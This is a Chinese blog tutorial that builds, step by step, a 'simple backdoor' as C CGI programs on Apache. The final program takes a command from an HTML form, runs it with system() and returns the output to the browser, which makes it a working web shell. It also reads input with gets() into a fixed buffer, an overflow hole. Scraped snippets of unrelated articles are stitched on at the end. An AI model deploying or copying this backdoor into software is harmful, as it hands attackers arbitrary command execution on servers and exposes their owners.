一步一步教你使用CGI实现一个简单的后门

程序实例1:使用CGI实现文件定向操作

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void main()
{
    //设置HTML语言
    printf("Content-type:text/html\n\n");

    //文件定向操作
    char* str = "ipconfig > 1.txt";

    system(str);
}

将上面的代码编译成的exe文件拷贝到C:\Program Files\Apache Software Foundation\Apache2.2\cgi-bin中,并且将exe从命名为system.cgi

在Apache服务器中执行system.cgi

执行方式请参考:开发基于Apache服务器上的CGI程序

执行成功后会看到C:\Program Files\Apache Software Foundation\Apache2.2\cgi-bin文件中生成了一个1.txt文件

打开1.txt后可以看到1.txt中记录的是本机的ip信息

这就是文件定位操作,将ip信息保存到一个文本中

程序实例2:使用浏览器读取1.txt中的ip信息

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void main()
{
    //设置HTML语言
    printf("Content-type:text/html\n\n");

    //文件定向操作
    char* str = "ipconfig > 1.txt";
    system(str);

    //以读的方式打开1.txt
    FILE* fp = fopen("1.txt", "r");

    //循环成立的条件是没有读到文件结尾
    while(!feof(fp))
    {
        //每次从文件中读取1个字符
        char ch = fgetc(fp);

        if('\n' == ch)
        {
            printf("<br><br>");
        }
        else
        {
            //打印字符
            putchar(ch);
        }
    }
}

将上面的代码编译成的exe文件拷贝到C:\Program Files\Apache Software Foundation\Apache2.2\cgi-bin中,并且将exe从命名为output.cgi

在浏览器上输入:http://localhost/cgi-bin/output.cgi

在浏览器上打印了ip信息

程序实例3:使用CGI实现一个简单的后门

使用记事本编辑下面的HTML代码

<form id="form" name="form" method="post" action="http://localhost/cgi-bin/input.cgi">
<p>
<input type="text" name="BBB" id="input" value="tasklist">
</p>
<p>
<input type="submit" name="AAA" id="submit" value="请进">
</p>
</form>

保存后将文件名修改成houmen.html,最后保存在C:\Program Files\Apache Software Foundation\Apache2.2\htdocs中

使用VS2012编译下面的代码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void main()
{
    //设置HTML语言
    printf("Content-type:text/html\n\n");

    //打印环境变量
    printf("%s<br><br>", getenv("QUERY_STRING"));

    char szPost[256] = {0};

    //获取输入
    gets(szPost);

    //打印输入的内容
    printf("%s<br><br>", szPost);
    //BBB=tasklist&AAA=%C7%EB%BD%F8

    char *p = szPost + 4;
    char*p1 = strchr(szPost, '&');
    *p1 = '\0';

    char cmd[256] = {0};

    //字符串映射
    sprintf(cmd, "%s > 1.txt", p);

    system(cmd);

    //以读的方式打开1.txt
    FILE* fp = fopen("1.txt", "r");

    //循环成立的条件是没有读到文件结尾
    while(!feof(fp))
    {
        //每次从文件中读取1个字符
        char ch = fgetc(fp);

        //当读取到\n时
        if('\n' == ch)
        {
            //打印换行
            printf("<br><br>");
        }
        else
        {
            //打印字符
            putchar(ch);
        }
    }
}

编译成功后,将生成的exe文件重命名为input.cgi,并且拷贝到C:\Program Files\Apache Software Foundation\Apache2.2\cgi-bin中

在浏览器中输入:http://localhost/houmen.html

执行结果:

单击请进后会打印出所有的进程

在输入框中输入ipconfig后单击请进会打印出所有的ip信息



时间: 2024-10-21 06:14:20

一步一步教你使用CGI实现一个简单的后门的相关文章

教你用Django实现一个简单的GIS功能

地理信息系统(Geographic Information System或 Geo-Information system,GIS)有时又称为"地学信息系统".它是一种特定的十分重要的空间信息系统.它是在计算机硬.软件系统支持下,对整个或部分地球表层(包括大气层)空间中的有关地理分布数据进行采集.储存.管理.运算.分析.显示和描述的技术系统. 看上去挺简单,但是实现起来是挺复杂的,这里面涉及到专用的地理数据库,图层,空间查询等等. 这里,我使用的是Django GEO框架实现一个简单的通

手对手的教你用canvas画一个简单的海报

啦啦啦,首先说下需求,产品想让用户在我们app内,分享一张图片到微信.qq等平台.图片中包含用户的姓名.头像.和带着自己信息的二维码.然后,如何生成这张海报呢~~~首先我们老大告诉我有一个插件叫html2canvas.其作用就是可以将dom节点转化成图片,是个不错的东西.我试验了下.确实可以,但~这个插件有点大啊,为了满足海报的这个需求引入这么大的东西感觉很亏!!!所以,还是自己画一个~首先先上效果图 当当当当~~~最后生成的海报中包括头像和姓名与二维码,当然图上的二维码是百度的二维码~最后生成

教你一步一步部署.net免费空间OpenShift系列之一------帐号注册和验证

前几天有博友发布了一篇文章<一键部署mono 免费空间支持ASP.NET MVC 再也不担心伙食费换空间了>,支持MVC3和域名绑定,觉得不错,于是自己实践了一下,发现自己实际遇到的问题真不少,而且网上的关于此空间的帖子要么千篇一律,要么语焉不详,现总结为图文教程系列 帐号注册和验证 打开https://www.openshift.com/products/pricing,出现三种选择,前2种是免费的,建议选择第二个. 点击Create one跳转到创建用户界面 看到如下信息,填写邮箱和密码,

教你一步一步实现图标无缝变形切换

我的简书同步发布:教你一步一步实现图标无缝变形切换 ?欢迎打赏? 转载请注明出处:[huachao1001的专栏:http://blog.csdn.net/huachao1001] 本来这篇文章几天前就应该写好并发布出来的,由于要写小论文,被导师劈头盖脸的骂了几天,一直在搞论文,耽误了博文的编写.今天终于把小论文给投出去了,终于可以好好写博客了! 在上一篇文章<酷炫的Activity切换动画,打造更好的用户体验 >中,我们感受到了过渡切换动画带来的不一样的用户体验.如何你还意犹未尽,那么今天我

教你一步一步实现一个Promise

Promise我想现在大家都非常熟悉了,主要作用就是解决异步回调问题,这里简单介绍下. Promise规范是CommonJS规范之一,而Promise规范又分了好多种,比如 Promises/A.Promises/B.Promises/Kiss等等 有兴趣的可以到这多了解一些 http://wiki.commonjs.org/wiki/Promises 现在比较流行的是Promise/A规范,人们对它的完善和扩展,逐渐形成了Promise/A+规范,A+已脱颖而出. 说到这里规范是什么,可以去这

一步一步教你如何重装笔记本电脑系统?

本文标签:  电脑技巧 重装笔记本电脑系统 重装系统 重装dell联想宏碁电脑系统 原文地址:http://whosmall.com/?post=461 不知不觉中,已在程序猿这个职业中疯狂熬过去了3年时间,这3年虽然苹果技术天天更新,天天进步,但是如计算机常识方面却不忍心看它还是原地踏步! 从事编程时间久了,每次回家的时候,免不了会有朋友说起听说你从事计算机工作的吧,是啊,那帮我装个系统吧,最近电脑卡的要命.我家网线坏了,帮我连下网线吧!更有甚者,说我刚才误删某某重要文件,帮我恢复下吧! 你要

【Unity3D实战】零基础一步一步教你制作跑酷类游戏(填坑完整版)

在两个月前曾写了一篇<[Unity3D实战]零基础一步一步教你制作跑酷类游戏(1)>,里面一步一步演示了制作跑酷类游戏,然而由于时间原因,只写到了让角色往前移动为止.这个坑一直没有时间去填,(虽然也没多少人看啦),今天刚好有时间完成了一个跑酷类游戏的Demo.放上来给有兴趣的朋友看看. Demo源码及对应素材下载:链接:http://pan.baidu.com/s/1i4QkkuD 密码:p04w 游戏简要说明 游戏类型:跑酷类游戏(Demo,非完整游戏) 操作方式:左右方向键(可自己移植到手

Ace教你一步一步做Android新闻客户端(一)

复制粘贴了那么多博文很不好意思没点自己原创的也说不出去,现在写一篇一步一步教你做安卓新闻客户端,借此机会也是让自己把相关的技术再复习一遍,大神莫笑,专门做给新手看. 手里存了两篇,一个包括软件视图 和新手引导 软件侧滑菜单 滑动主页的GUI篇 一个内容解析篇. 代码里有很详细的注释 所以直接放代码了 有不会的站内信或者评论我会及时回复. MainActivity XML :只有一个ListView布局 <?xml version="1.0" encoding="utf-

C#WPF 语音开发教程 源代码下载 csdn tts(text to sound) 一步一步 教你制作语音软件 附图和源代码

C#WPF  语音开发教程  一步一步 教你制作语音软件 附图和源代码 效果展示 一 项目准备 1.vs2012开发平台 2.微软的语音软件库 下载:http://download.csdn.net/detail/wyx100/8431269 (含实例项目源代码) 二.开发目标 制作一个语音软件,可以朗读文字: 多个语音库:男音和女音.支持英文和中文朗读: 支持选择播放设备 支持朗读语速选择 支持音量选择 三 开发过程 1.新建WpfSpeechDemo工程 文件(vs开发平台左上角)----新